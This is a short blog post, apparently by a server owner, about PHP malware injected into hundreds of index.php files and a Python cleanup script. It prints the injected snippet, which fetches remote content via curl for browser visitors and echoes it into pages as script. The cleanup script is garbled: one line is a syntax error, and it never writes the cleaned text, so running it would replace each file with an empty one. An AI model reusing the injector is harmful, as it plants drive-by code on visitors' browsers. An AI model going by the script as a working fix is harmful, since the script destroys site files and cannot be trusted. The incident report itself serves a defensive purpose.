Find and replace malware code blocks in php files via shell

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked.

error_reporting(0); ini_set('display_errors',0); $wp_sjqe08340 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_sjqe08340) && !preg_match ('/bot/i', $wp_sjqe08340))){
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08340sjqe = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08340sjqe,1,3) === 'scr' ){ echo $wp_08340sjqe; }

The solution was the following little Python script that walks through the filesystem tree and searches for index.php’s. In every matched file it replaces the malicious code with an empty string.


import os, sys, re

inputDir = sys.argv[1]
print "Have param %s" % inputDir

patternStr = ur'''(#19f955#)[\w\W]*(#\/19f955#)'''

repStr = ' '

def replaceStringInFile(filePath):
   "replaces all string by a regex substitution"
   tempName = filePath+'~~~'
   inputFile = open(filePath)
   outputFile = open(tempName,'w')
   fContent = unicode(, "utf-8")

   print len(re.findall(patternStr, fContent))

   outText = re.sub(patternStr, repStr, fContent)


   os.rename(tempName, filePath)
   print "processed {0}".format(filePath)

print "I will start now!"
for directory, dirnames, filenames in os.walk(inputDir):
    for filename in filenames:
        print os.path.join(directory, filename)
        if 'index.php' == os.path.basename(os.path.join(directory, filename)) and os.path.isfile(os.path.join(directory, filename)):
            print "HIT"
            replaceStringInFile(os.path.join(directory, filename))
            print "NOOP"

Leave a Reply

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.